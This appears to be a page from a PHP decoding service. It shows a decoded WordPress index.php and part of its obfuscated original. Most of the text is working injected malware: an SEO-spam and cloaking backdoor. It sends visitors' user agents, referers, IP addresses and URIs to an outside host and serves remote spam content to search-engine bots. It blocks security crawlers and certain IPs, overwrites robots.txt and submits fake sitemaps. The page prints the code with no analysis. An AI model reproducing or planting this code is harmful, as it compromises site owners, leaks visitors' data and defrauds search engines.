Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto JLO0K; wufgU: $Lf18X = 2630; goto FWgk9; N9mk5: o6qCr: goto UpWYz; EqSjH: head..
Decoded Output download
<?php
goto JLO0K; wufgU: $Lf18X = 2630; goto FWgk9; N9mk5: o6qCr: goto UpWYz; EqSjH: header("HTTP/1.0 500 Internal Server Error"); goto gg9p9; xaoZ1: qxLVu: goto o05oj; bliwd: snbXQ: goto PJlNj; J0GEW: $Q0UWX = $Q0UWX . "?"; goto UuyI7; Hpk4V: echo $H00Aa; goto Ri2Z8; PJlNj: goto SbYqX; goto IJPHc; MvrcV: exit; goto okIYO; YTkiP: $sh3Ko = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto S1KIG; Oekro: $Q0UWX = "/?"; goto SXxri; FHsbB: header("HTTP/1.0 403 Forbidden"); goto zHxB3; N5cyL: if (!($H00Aa == "500")) { goto wVyNy; } goto NaA5K; EKMeC: $c222D = $v1h6L[1]; goto w8_Rx; Q4ET3: $QW4wh = $ZPqbm . "?agent={$MUqFe}&refer={$mfNfm}&lang={$sh3Ko}&ip={$qBqq1}&dom={$LEyoO}&http={$s2Xvg}&uri={$XQwkk}&pc={$Lf18X}&rewriteable={$D0Kq4}&script={$Efzsn}"; goto epu3u; l4sKV: rNm3p: goto Nd5ZJ; Jg2WL: if (!preg_match("/<h2>(.+?)<\/h2>/i", $H00Aa, $v1h6L)) { goto oZOKn; } goto EKMeC; DoYab: if (!($ma_y2 < 30)) { goto lwMoI; } goto RLUUY; j8zVb: $QW4wh = $ZPqbm . "?agent={$MUqFe}&refer={$mfNfm}&lang={$sh3Ko}&ip={$qBqq1}&dom={$LEyoO}&http={$s2Xvg}&uri={$XQwkk}&pc={$Lf18X}&rewriteable={$D0Kq4}&script={$Efzsn}&sitemap=" . urlencode($sKp6w); goto Kq1kQ; bRkEg: goto oRaI0; goto Esorg; ZT8nv: zmApn: goto yndim; ds4bs: SrpU0: goto vikRj; p_DfA: $H00Aa = yh6rA($C7LXX); goto ZJaMw; HAVTc: $Q0UWX = "/"; goto J8rvs; j548G: @file_put_contents("robots.txt", $H00Aa); goto san8e; KCNdh: exit; goto h2qT3; ADQ4u: agNkY: goto ZT8nv; hKgnV: goto f93fN; goto Xllnf; eXrOK: FO10J: goto n4jfk; E17Kv: $mfNfm = urlencode($_SERVER["HTTP_REFERER"]); goto YTkiP; kc0NF: $sKp6w = "{$s2Xvg}://" . $LEyoO . $Q0UWX . "sitemap.xml"; goto sasCQ; TQdqM: $Efzsn = urlencode($_SERVER["SCRIPT_NAME"]); goto mf3j0; UpWYz: header("HTTP/1.0 500 Internal Server Error"); goto KCNdh; H2uPY: exit; goto eP0V_; sldXs: if (strpos($XQwkk, "favicon.ico") !== false) { goto wUIIR; } goto GJG3z; SYLFI: $_SERVER["REQUEST_SCHEME"] = "https"; goto U0gH_; FWgk9: $MUqFe = urlencode($_SERVER["HTTP_USER_AGENT"]); goto E17Kv; wVkUX: @file_put_contents("robots.txt", $cfWxx); goto yvJn0; TgmEk: hPl7S: goto Oekro; VyS2t: if (!(strpos($XQwkk, "uuuuxxxxooo") !== false)) { goto AYiwb; } goto J1aqz; X3NBm: $H00Aa = Yh6ra($QW4wh); goto VSILb; E7qB7: Xux0K: goto Q4ET3; yvJn0: exit; goto K4JWg; CcNKg: usleep(100 * 1000); goto j8zVb; WW7CZ: $QW4wh = $ZPqbm . "?agent={$MUqFe}&refer={$mfNfm}&lang={$sh3Ko}&ip={$qBqq1}&dom={$LEyoO}&http={$s2Xvg}&uri={$XQwkk}&pc={$Lf18X}&rewriteable={$D0Kq4}&script={$Efzsn}"; goto uVeuF; mQf6v: AYiwb: goto lvKov; UyqrM: $ma_y2 = 1; goto NEojz; GJG3z: if (strpos($XQwkk, "jp2023") !== false) { goto rNm3p; } goto uT3PO; o05oj: goto sDZ3l; goto N9mk5; Iqigg: goto FO10J; goto E7qB7; b9Xeo: aJ0IK: goto RRJwZ; wr_n4: if (preg_match("/({$jx83P})/i", $_SERVER["HTTP_REFERER"])) { goto ODx8w; } goto bRkEg; C2QVD: $XQwkk = urldecode($_SERVER["REQUEST_URI"]); goto VyS2t; b9WnR: @file_put_contents("uxo.txt", "0"); goto zI5Ap; EL2v5: goto pYEH7; goto XrIu5; HNGed: if (strpos($Q0UWX, "index.php") !== false) { goto irUn0; } goto J0GEW; LkOIF: $D0Kq4 = @file_get_contents("uxo.txt"); goto isbMh; BzCCs: $C7LXX = $s2Xvg . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto p_DfA; T6Fkr: function G3Hs3($b2Eug) { goto sOQXg; Dn8Yl: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYHOST, FALSE); goto qD3Dx; o2J7S: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYPEER, FALSE); goto Dn8Yl; rlRVu: curl_setopt($fG56Q, CURLOPT_URL, $b2Eug); goto ydVT6; BKnVy: $vsqfE = @file_get_contents($b2Eug); goto JW5kK; PQ3q1: $vsqfE = curl_exec($fG56Q); goto EWFV2; apVlF: if (!(strpos($b2Eug, "https://") !== false)) { goto zAykZ; } goto o2J7S; ydVT6: curl_setopt($fG56Q, CURLOPT_RETURNTRANSFER, true); goto RMR0Q; RMR0Q: curl_setopt($fG56Q, CURLOPT_FOLLOWLOCATION, false); goto SwXsd; JW5kK: LLi0f: goto BMBVX; BMBVX: return $vsqfE; goto fjiMk; qD3Dx: zAykZ: goto PQ3q1; EWFV2: curl_close($fG56Q); goto eItIi; sOQXg: $fG56Q = curl_init(); goto rlRVu; SwXsd: curl_setopt($fG56Q, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto apVlF; eItIi: if (!empty($vsqfE)) { goto LLi0f; } goto BKnVy; fjiMk: } goto fRAVM; n4jfk: goto Bzk9o; goto a3Au3; aOMzP: goto tGish; goto V0CNJ; F2TF3: pYEH7: goto niaSi; sasCQ: $cfWxx = trim($cfWxx) . "
" . "Sitemap: {$sKp6w}"; goto YIb5b; uVeuF: header("Content-Type: text/plain; charset=utf-8"); goto bTi41; oRyDe: if (empty($H00Aa)) { goto CJSfN; } goto N5cyL; M5mF_: header("HTTP/1.1 404 Not Found"); goto Hpk4V; espWX: goto snbXQ; goto MblQM; MblQM: wUIIR: goto bliwd; w93Df: $riVxn = "https://www.google.com/ping?sitemap="; goto ElZjk; mf3j0: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto y5xN1; } goto jFAGr; okIYO: R6XOt: goto HcEO9; jzWPj: function Yh6rA($b2Eug) { goto SXmOZ; v2H7Q: return $vsqfE; goto f7TKt; SXmOZ: $vsqfE = @file_get_contents($b2Eug); goto ai9FY; ZUfiC: curl_setopt($fG56Q, CURLOPT_URL, $b2Eug); goto v2oSo; v2oSo: curl_setopt($fG56Q, CURLOPT_RETURNTRANSFER, true); goto e63S4; ZklY1: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYHOST, FALSE); goto c_t3q; BkRpA: curl_close($fG56Q); goto I3bnq; I3bnq: DK1y5: goto v2H7Q; xCbyp: $fG56Q = curl_init(); goto ZUfiC; SpfEe: if (!(strpos($b2Eug, "https://") !== false)) { goto tSvsM; } goto S1LTw; e63S4: curl_setopt($fG56Q, CURLOPT_FOLLOWLOCATION, false); goto SpfEe; h7jCe: $vsqfE = curl_exec($fG56Q); goto BkRpA; ai9FY: if (!empty($vsqfE)) { goto DK1y5; } goto xCbyp; c_t3q: tSvsM: goto h7jCe; S1LTw: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYPEER, FALSE); goto ZklY1; f7TKt: } goto T6Fkr; AVzZy: lZ9iF: goto uzW9L; a3Au3: JjXcV: goto YXfQA; YIb5b: $H00Aa = g3hs3($riVxn . urlencode($sKp6w)); goto VQY_w; isbMh: goto zmApn; goto bUcBj; XrIu5: DixqT: goto WW7CZ; Nd5ZJ: $QW4wh = $ZPqbm . "?agent={$MUqFe}&refer={$mfNfm}&lang={$sh3Ko}&ip={$qBqq1}&dom={$LEyoO}&http={$s2Xvg}&uri={$XQwkk}&pc={$Lf18X}&rewriteable={$D0Kq4}&script={$Efzsn}"; goto X3NBm; yndim: if (strpos($XQwkk, "pingsitemap.xml") !== false) { goto cahs7; } goto sldXs; Dgkqm: wVyNy: goto B9MAl; V0CNJ: y5xN1: goto SYLFI; VQY_w: $c222D = "<font color='red'>ERROR</font>"; goto Jg2WL; bdYY5: $ma_y2++; goto hKgnV; vikRj: Bzk9o: goto EL2v5; Sh2Gh: ZVywg: goto EqSjH; JLO0K: error_reporting(0); goto Dc0pY; VSILb: echo $H00Aa; goto iOqIS; RLUUY: vDAlg: goto bdYY5; RRJwZ: echo $H00Aa; goto H2uPY; lvKov: if (!($VSTuS == "153.246.135.238" || $VSTuS == "219.101.44.233")) { goto zqdUt; } goto FHsbB; zI5Ap: goto agNkY; goto Zittn; niaSi: goto DxiC5; goto l4sKV; NaA5K: header("HTTP/1.0 500 Internal Server Error"); goto QQ0b4; J8rvs: goto D3I94; goto TgmEk; Ynoro: if (!file_exists("uxo.txt")) { goto IATwR; } goto LkOIF; cgopD: goto aJ0IK; goto AVzZy; nl0he: $Q0UWX = $_SERVER["SCRIPT_NAME"]; goto HNGed; S1oi5: $H00Aa = YH6RA($QW4wh); goto yHT8n; nF3HY: irUn0: goto WQ3pq; rRex3: $qBqq1 = urlencode($VSTuS); goto YjyDN; yyfZM: if (preg_match("@^/(.*?).xml$@i", $XQwkk)) { goto JjXcV; } goto JHDfY; Kq1kQ: $H00Aa = YH6Ra($QW4wh); goto UyqrM; Ri2Z8: exit; goto xaoZ1; iOqIS: exit; goto syxMT; ZJaMw: if ($H00Aa == "ok") { goto CHfhm; } goto dBCiH; QObu0: $s2Xvg = urlencode($_SERVER["REQUEST_SCHEME"]); goto C2QVD; YXfQA: $QW4wh = $ZPqbm . "?agent={$MUqFe}&refer={$mfNfm}&lang={$sh3Ko}&ip={$qBqq1}&dom={$LEyoO}&http={$s2Xvg}&uri={$XQwkk}&pc={$Lf18X}&rewriteable={$D0Kq4}&script={$Efzsn}"; goto LF7OD; LP21i: header("HTTP/1.0 403 Forbidden"); goto MvrcV; syxMT: DxiC5: goto espWX; h2qT3: sDZ3l: goto z1D4t; SXxri: D3I94: goto ZSrHS; dBCiH: $D0Kq4 = 0; goto b9WnR; ElZjk: $cfWxx = "User-agent: *\xd\xaAllow: /"; goto kc0NF; z1D4t: oRaI0: goto Iqigg; HcEO9: $jx83P = "bing|google|yahoo"; goto NBQuc; wQ1F7: $QW4wh = $ZPqbm . "?agent={$MUqFe}&refer={$mfNfm}&lang={$sh3Ko}&ip={$qBqq1}&dom={$LEyoO}&http={$s2Xvg}&uri={$XQwkk}&pc={$Lf18X}&rewriteable={$D0Kq4}"; goto S1oi5; uT3PO: if (strpos($XQwkk, "robots.txt") !== false || strpos($XQwkk, "writerobots") !== false) { goto DixqT; } goto yyfZM; QQ0b4: exit; goto Dgkqm; tM8ha: header("Content-Type: text/xml; charset=utf-8"); goto AYUk5; uNXk_: zqdUt: goto C6S6v; sqdON: exit; goto ajOAg; epu3u: $H00Aa = yH6rA($QW4wh); goto oRyDe; Dc0pY: function zMjBF() { goto PdcR9; KV0Ye: n_lSm: goto tixqe; cjy1G: goto QHgBP; goto VUf1W; YzMge: $qBqq1 = "0.0.0.0"; goto zMoGX; wyYvb: if (getenv("REMOTE_ADDR")) { goto zpPTX; } goto YzMge; rOkMR: $qBqq1 = $TFdFv[0]; goto cjy1G; BqBYn: SNqXz: goto kj8xS; atRKc: QHgBP: goto HJ2Wn; VUf1W: zpPTX: goto ZjA6K; eITJQ: $qBqq1 = getenv("HTTP_CLIENT_IP"); goto KV0Ye; zMoGX: goto QHgBP; goto vB0Fe; vB0Fe: Huljk: goto zZnN9; qmSBc: goto QHgBP; goto BqBYn; zZnN9: $qBqq1 = getenv("HTTP_X_REAL_IP"); goto qmSBc; HJ2Wn: return $qBqq1; goto AzGW2; kj8xS: $qBqq1 = getenv("HTTP_X_FORWARDED_FOR"); goto jgrSa; ZjA6K: $qBqq1 = getenv("REMOTE_ADDR"); goto atRKc; tixqe: if (getenv("HTTP_X_REAL_IP")) { goto Huljk; } goto BoBl8; BoBl8: if (getenv("HTTP_X_FORWARDED_FOR")) { goto SNqXz; } goto wyYvb; PdcR9: if (!getenv("HTTP_CLIENT_IP")) { goto n_lSm; } goto eITJQ; jgrSa: $TFdFv = explode(",", $qBqq1); goto rOkMR; AzGW2: } goto jzWPj; WQ3pq: if ($D0Kq4 == 0) { goto hPl7S; } goto HAVTc; fTOkV: if ($H00Aa == "500") { goto ZVywg; } goto tM8ha; iWkhD: exit; goto mQf6v; Esorg: ODx8w: goto wQ1F7; IJPHc: cahs7: goto nl0he; C6S6v: $D0Kq4 = 0; goto Ynoro; ajOAg: goto SrpU0; goto Sh2Gh; uzW9L: header("Content-Type: text/xml; charset=utf-8"); goto b9Xeo; WmsaG: @file_put_contents("uxo.txt", "1"); goto ADQ4u; w8_Rx: oZOKn: goto ZPVdY; J1aqz: echo "ok"; goto iWkhD; NBQuc: $ZPqbm = "http://cw41.alertsub.top/index.php"; goto wufgU; fRAVM: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto R6XOt; } goto LP21i; B9MAl: if (substr($H00Aa, 0, 5) == "<?xml") { goto lZ9iF; } goto Ij2lA; ZPVdY: echo $sKp6w . ": " . $c222D . "<br/>"; goto CcNKg; yHT8n: if ($H00Aa == "500") { goto o6qCr; } goto iqf7Q; AYUk5: echo $H00Aa; goto sqdON; JHDfY: if (preg_match("/({$jx83P})/i", $_SERVER["HTTP_USER_AGENT"])) { goto Xux0K; } goto wr_n4; jFAGr: $_SERVER["REQUEST_SCHEME"] = "http"; goto aOMzP; gg9p9: exit; goto ds4bs; S1KIG: $VSTuS = zmjBf(); goto rRex3; U0gH_: tGish: goto QObu0; bTi41: echo $H00Aa = Yh6Ra($QW4wh); goto j548G; eP0V_: CJSfN: goto eXrOK; NEojz: f93fN: goto DoYab; san8e: exit; goto F2TF3; bUcBj: IATwR: goto BzCCs; k5gig: $D0Kq4 = 1; goto WmsaG; Ij2lA: header("Content-Type: text/html; charset=utf-8"); goto cgopD; ZSrHS: TMg39: goto w93Df; YjyDN: $LEyoO = urlencode($_SERVER["HTTP_HOST"]); goto TQdqM; Xllnf: lwMoI: goto wVkUX; iqf7Q: if (empty($H00Aa)) { goto qxLVu; } goto M5mF_; Zittn: CHfhm: goto k5gig; LF7OD: $H00Aa = YH6ra($QW4wh); goto fTOkV; UuyI7: goto TMg39; goto nF3HY; zHxB3: exit; goto uNXk_; K4JWg: SbYqX:
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
?>
Did this file decode correctly?
Original Code
<?php
goto JLO0K; wufgU: $Lf18X = 2630; goto FWgk9; N9mk5: o6qCr: goto UpWYz; EqSjH: header("\x48\x54\124\x50\x2f\61\x2e\x30\40\65\x30\x30\x20\x49\x6e\x74\x65\162\156\141\x6c\x20\x53\145\x72\x76\x65\x72\40\x45\162\x72\x6f\x72"); goto gg9p9; xaoZ1: qxLVu: goto o05oj; bliwd: snbXQ: goto PJlNj; J0GEW: $Q0UWX = $Q0UWX . "\77"; goto UuyI7; Hpk4V: echo $H00Aa; goto Ri2Z8; PJlNj: goto SbYqX; goto IJPHc; MvrcV: exit; goto okIYO; YTkiP: $sh3Ko = urlencode($_SERVER["\110\124\x54\120\x5f\x41\x43\x43\105\120\x54\x5f\x4c\101\116\107\x55\x41\107\x45"]); goto S1KIG; Oekro: $Q0UWX = "\x2f\77"; goto SXxri; FHsbB: header("\x48\x54\124\x50\x2f\x31\x2e\60\40\x34\60\x33\x20\x46\157\162\x62\151\144\144\x65\156"); goto zHxB3; N5cyL: if (!($H00Aa == "\65\x30\60")) { goto wVyNy; } goto NaA5K; EKMeC: $c222D = $v1h6L[1]; goto w8_Rx; Q4ET3: $QW4wh = $ZPqbm . "\x3f\x61\147\x65\156\x74\x3d{$MUqFe}\46\162\x65\x66\x65\x72\75{$mfNfm}\46\154\x61\x6e\147\75{$sh3Ko}\x26\x69\x70\75{$qBqq1}\46\x64\x6f\x6d\x3d{$LEyoO}\x26\150\164\x74\x70\x3d{$s2Xvg}\x26\x75\x72\151\x3d{$XQwkk}\x26\160\x63\x3d{$Lf18X}\x26\x72\145\x77\x72\x69\x74\x65\x61\142\154\145\x3d{$D0Kq4}\x26\163\x63\162\151\x70\164\x3d{$Efzsn}"; goto epu3u; l4sKV: rNm3p: goto Nd5ZJ; Jg2WL: if (!preg_match("\x2f\74\x68\62\76\x28\x2e\x2b\x3f\51\74\x5c\x2f\150\x32\x3e\57\x69", $H00Aa, $v1h6L)) { goto oZOKn; } goto EKMeC; DoYab: if (!($ma_y2 < 30)) { goto lwMoI; } goto RLUUY; j8zVb: $QW4wh = $ZPqbm . "\x3f\141\x67\145\156\164\75{$MUqFe}\x26\x72\x65\146\145\x72\x3d{$mfNfm}\46\x6c\x61\x6e\x67\75{$sh3Ko}\x26\x69\x70\x3d{$qBqq1}\46\144\x6f\x6d\x3d{$LEyoO}\x26\x68\164\164\160\75{$s2Xvg}\x26\165\162\151\75{$XQwkk}\x26\x70\143\75{$Lf18X}\46\x72\145\x77\162\x69\164\x65\141\x62\154\145\75{$D0Kq4}\x26\163\x63\162\x69\x70\x74\75{$Efzsn}\x26\163\151\164\x65\x6d\x61\160\75" . urlencode($sKp6w); goto Kq1kQ; bRkEg: goto oRaI0; goto Esorg; ZT8nv: zmApn: goto yndim; ds4bs: SrpU0: goto vikRj; p_DfA: $H00Aa = yh6rA($C7LXX); goto ZJaMw; HAVTc: $Q0UWX = "\x2f"; goto J8rvs; j548G: @file_put_contents("\162\x6f\x62\x6f\x74\163\x2e\x74\x78\164", $H00Aa); goto san8e; KCNdh: exit; goto h2qT3; ADQ4u: agNkY: goto ZT8nv; hKgnV: goto f93fN; goto Xllnf; eXrOK: FO10J: goto n4jfk; E17Kv: $mfNfm = urlencode($_SERVER["\110\x54\x54\x50\137\x52\x45\106\105\x52\105\x52"]); goto YTkiP; kc0NF: $sKp6w = "{$s2Xvg}\x3a\x2f\x2f" . $LEyoO . $Q0UWX . "\163\151\164\x65\155\x61\x70\56\x78\x6d\x6c"; goto sasCQ; TQdqM: $Efzsn = urlencode($_SERVER["\123\103\x52\111\x50\124\x5f\x4e\x41\x4d\105"]); goto mf3j0; UpWYz: header("\x48\124\124\x50\57\61\56\x30\40\65\60\60\40\x49\x6e\x74\145\162\156\x61\x6c\x20\x53\x65\x72\x76\x65\162\x20\x45\x72\162\x6f\162"); goto KCNdh; H2uPY: exit; goto eP0V_; sldXs: if (strpos($XQwkk, "\x66\141\166\151\x63\x6f\156\56\151\x63\x6f") !== false) { goto wUIIR; } goto GJG3z; SYLFI: $_SERVER["\122\105\x51\x55\x45\123\x54\137\x53\103\x48\105\115\x45"] = "\150\164\x74\x70\163"; goto U0gH_; FWgk9: $MUqFe = urlencode($_SERVER["\110\x54\x54\120\x5f\x55\123\105\122\x5f\x41\107\105\116\x54"]); goto E17Kv; wVkUX: @file_put_contents("\x72\x6f\142\157\164\x73\56\x74\x78\x74", $cfWxx); goto yvJn0; TgmEk: hPl7S: goto Oekro; VyS2t: if (!(strpos($XQwkk, "\165\x75\165\x75\x78\x78\x78\170\x6f\x6f\157") !== false)) { goto AYiwb; } goto J1aqz; X3NBm: $H00Aa = Yh6ra($QW4wh); goto VSILb; E7qB7: Xux0K: goto Q4ET3; yvJn0: exit; goto K4JWg; CcNKg: usleep(100 * 1000); goto j8zVb; WW7CZ: $QW4wh = $ZPqbm . "\77\141\x67\145\156\164\75{$MUqFe}\x26\162\145\x66\x65\162\x3d{$mfNfm}\x26\x6c\x61\156\x67\75{$sh3Ko}\46\151\x70\75{$qBqq1}\x26\x64\157\x6d\x3d{$LEyoO}\46\150\x74\x74\160\75{$s2Xvg}\46\165\x72\x69\x3d{$XQwkk}\46\160\143\x3d{$Lf18X}\x26\x72\145\167\162\151\164\145\141\142\x6c\145\75{$D0Kq4}\x26\163\x63\162\151\x70\164\75{$Efzsn}"; goto uVeuF; mQf6v: AYiwb: goto lvKov; UyqrM: $ma_y2 = 1; goto NEojz; GJG3z: if (strpos($XQwkk, "\x6a\x70\x32\x30\x32\63") !== false) { goto rNm3p; } goto uT3PO; o05oj: goto sDZ3l; goto N9mk5; Iqigg: goto FO10J; goto E7qB7; b9Xeo: aJ0IK: goto RRJwZ; wr_n4: if (preg_match("\x2f\x28{$jx83P}\x29\57\151", $_SERVER["\x48\x54\124\120\x5f\122\105\x46\105\122\x45\122"])) { goto ODx8w; } goto bRkEg; C2QVD: $XQwkk = urldecode($_SERVER["\x52\x45\121\x55\105\123\124\x5f\x55\x52\x49"]); goto VyS2t; b9WnR: @file_put_contents("\x75\170\157\x2e\x74\170\164", "\60"); goto zI5Ap; EL2v5: goto pYEH7; goto XrIu5; HNGed: if (strpos($Q0UWX, "\x69\156\x64\145\170\56\x70\150\x70") !== false) { goto irUn0; } goto J0GEW; LkOIF: $D0Kq4 = @file_get_contents("\x75\170\157\x2e\x74\x78\x74"); goto isbMh; BzCCs: $C7LXX = $s2Xvg . "\72\57\x2f" . $_SERVER["\x48\x54\124\120\137\110\x4f\123\124"] . "\57\165\x75\x75\165\170\170\x78\170\157\157\157"; goto p_DfA; T6Fkr: function G3Hs3($b2Eug) { goto sOQXg; Dn8Yl: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYHOST, FALSE); goto qD3Dx; o2J7S: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYPEER, FALSE); goto Dn8Yl; rlRVu: curl_setopt($fG56Q, CURLOPT_URL, $b2Eug); goto ydVT6; BKnVy: $vsqfE = @file_get_contents($b2Eug); goto JW5kK; PQ3q1: $vsqfE = curl_exec($fG56Q); goto EWFV2; apVlF: if (!(strpos($b2Eug, "\150\164\x74\160\x73\72\57\57") !== false)) { goto zAykZ; } goto o2J7S; ydVT6: curl_setopt($fG56Q, CURLOPT_RETURNTRANSFER, true); goto RMR0Q; RMR0Q: curl_setopt($fG56Q, CURLOPT_FOLLOWLOCATION, false); goto SwXsd; JW5kK: LLi0f: goto BMBVX; BMBVX: return $vsqfE; goto fjiMk; qD3Dx: zAykZ: goto PQ3q1; EWFV2: curl_close($fG56Q); goto eItIi; sOQXg: $fG56Q = curl_init(); goto rlRVu; SwXsd: curl_setopt($fG56Q, CURLOPT_USERAGENT, $_SERVER["\110\x54\x54\x50\137\125\123\x45\122\x5f\x41\107\x45\x4e\124"]); goto apVlF; eItIi: if (!empty($vsqfE)) { goto LLi0f; } goto BKnVy; fjiMk: } goto fRAVM; n4jfk: goto Bzk9o; goto a3Au3; aOMzP: goto tGish; goto V0CNJ; F2TF3: pYEH7: goto niaSi; sasCQ: $cfWxx = trim($cfWxx) . "\15\12" . "\x53\151\164\145\155\141\160\72\40{$sKp6w}"; goto YIb5b; uVeuF: header("\103\x6f\x6e\164\145\x6e\164\x2d\124\171\x70\145\72\x20\164\145\170\x74\57\160\154\141\151\x6e\x3b\x20\143\x68\x61\x72\x73\145\164\75\165\164\x66\55\70"); goto bTi41; oRyDe: if (empty($H00Aa)) { goto CJSfN; } goto N5cyL; M5mF_: header("\x48\124\124\120\57\61\x2e\61\40\x34\60\x34\x20\116\x6f\x74\x20\x46\157\x75\x6e\144"); goto Hpk4V; espWX: goto snbXQ; goto MblQM; MblQM: wUIIR: goto bliwd; w93Df: $riVxn = "\x68\x74\164\x70\163\72\57\57\x77\x77\x77\x2e\147\x6f\157\147\154\145\x2e\143\x6f\155\57\x70\151\x6e\147\x3f\163\151\x74\x65\155\141\x70\x3d"; goto ElZjk; mf3j0: if (!empty($_SERVER["\x52\105\x51\x55\x45\x53\124\137\123\103\110\x45\115\105"]) && $_SERVER["\x52\x45\121\x55\x45\123\x54\137\123\103\110\x45\x4d\105"] == "\x68\164\x74\160\x73" || !empty($_SERVER["\x48\x54\x54\x50\x53"]) && $_SERVER["\110\x54\x54\120\123"] == "\157\x6e" || !empty($_SERVER["\123\x45\122\x56\x45\122\137\x50\x4f\122\124"]) && $_SERVER["\123\x45\x52\126\x45\122\137\x50\117\x52\124"] == "\x34\x34\63" || isset($_SERVER["\x48\124\124\x50\137\130\137\106\117\122\127\101\x52\x44\105\104\x5f\120\122\117\x54\x4f"]) && $_SERVER["\110\x54\x54\x50\137\x58\137\x46\x4f\122\127\x41\122\104\x45\x44\137\120\122\117\x54\117"] == "\x68\x74\164\160\163") { goto y5xN1; } goto jFAGr; okIYO: R6XOt: goto HcEO9; jzWPj: function Yh6rA($b2Eug) { goto SXmOZ; v2H7Q: return $vsqfE; goto f7TKt; SXmOZ: $vsqfE = @file_get_contents($b2Eug); goto ai9FY; ZUfiC: curl_setopt($fG56Q, CURLOPT_URL, $b2Eug); goto v2oSo; v2oSo: curl_setopt($fG56Q, CURLOPT_RETURNTRANSFER, true); goto e63S4; ZklY1: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYHOST, FALSE); goto c_t3q; BkRpA: curl_close($fG56Q); goto I3bnq; I3bnq: DK1y5: goto v2H7Q; xCbyp: $fG56Q = curl_init(); goto ZUfiC; SpfEe: if (!(strpos($b2Eug, "\150\x74\x74\x70\x73\72\x2f\x2f") !== false)) { goto tSvsM; } goto S1LTw; e63S4: curl_setopt($fG56Q, CURLOPT_FOLLOWLOCATION, false); goto SpfEe; h7jCe: $vsqfE = curl_exec($fG56Q); goto BkRpA; ai9FY: if (!empty($vsqfE)) { goto DK1y5; } goto xCbyp; c_t3q: tSvsM: goto h7jCe; S1LTw: curl_setopt($fG56Q, CURLOPT_SSL_VERIFYPEER, FALSE); goto ZklY1; f7TKt: } goto T6Fkr; AVzZy: lZ9iF: goto uzW9L; a3Au3: JjXcV: goto YXfQA; YIb5b: $H00Aa = g3hs3($riVxn . urlencode($sKp6w)); goto VQY_w; isbMh: goto zmApn; goto bUcBj; XrIu5: DixqT: goto WW7CZ; Nd5ZJ: $QW4wh = $ZPqbm . "\77\141\x67\145\x6e\164\75{$MUqFe}\x26\162\145\x66\x65\162\x3d{$mfNfm}\x26\x6c\141\156\147\x3d{$sh3Ko}\46\x69\x70\x3d{$qBqq1}\46\144\x6f\155\x3d{$LEyoO}\46\x68\x74\x74\160\75{$s2Xvg}\x26\165\x72\151\75{$XQwkk}\46\x70\x63\x3d{$Lf18X}\x26\162\145\167\x72\151\164\145\x61\x62\154\145\75{$D0Kq4}\46\163\143\162\x69\160\164\x3d{$Efzsn}"; goto X3NBm; yndim: if (strpos($XQwkk, "\x70\x69\x6e\147\163\x69\x74\x65\155\141\160\56\x78\x6d\154") !== false) { goto cahs7; } goto sldXs; Dgkqm: wVyNy: goto B9MAl; V0CNJ: y5xN1: goto SYLFI; VQY_w: $c222D = "\x3c\146\x6f\156\x74\x20\x63\157\x6c\157\162\x3d\47\162\145\x64\47\x3e\105\x52\122\x4f\122\x3c\57\146\157\x6e\x74\76"; goto Jg2WL; bdYY5: $ma_y2++; goto hKgnV; vikRj: Bzk9o: goto EL2v5; Sh2Gh: ZVywg: goto EqSjH; JLO0K: error_reporting(0); goto Dc0pY; VSILb: echo $H00Aa; goto iOqIS; RLUUY: vDAlg: goto bdYY5; RRJwZ: echo $H00Aa; goto H2uPY; lvKov: if (!($VSTuS == "\x31\x35\63\56\62\64\66\56\x31\63\x35\x2e\62\x33\70" || $VSTuS == "\x32\61\71\x2e\x31\60\61\x2e\64\64\x2e\62\x33\63")) { goto zqdUt; } goto FHsbB; zI5Ap: goto agNkY; goto Zittn; niaSi: goto DxiC5; goto l4sKV; NaA5K: header("\x48\x54\x54\x50\57\61\56\x30\x20\65\60\x30\x20\x49\x6e\x74\145\x72\156\x61\154\40\123\145\x72\x76\x65\162\40\x45\162\162\x6f\162"); goto QQ0b4; J8rvs: goto D3I94; goto TgmEk; Ynoro: if (!file_exists("\x75\x78\157\56\x74\x78\164")) { goto IATwR; } goto LkOIF; cgopD: goto aJ0IK; goto AVzZy; nl0he: $Q0UWX = $_SERVER["\123\103\122\111\x50\124\x5f\x4e\x41\x4d\105"]; goto HNGed; S1oi5: $H00Aa = YH6RA($QW4wh); goto yHT8n; nF3HY: irUn0: goto WQ3pq; rRex3: $qBqq1 = urlencode($VSTuS); goto YjyDN; yyfZM: if (preg_match("\100\136\x2f\x28\x2e\x2a\77\51\56\170\155\154\x24\x40\x69", $XQwkk)) { goto JjXcV; } goto JHDfY; Kq1kQ: $H00Aa = YH6Ra($QW4wh); goto UyqrM; Ri2Z8: exit; goto xaoZ1; 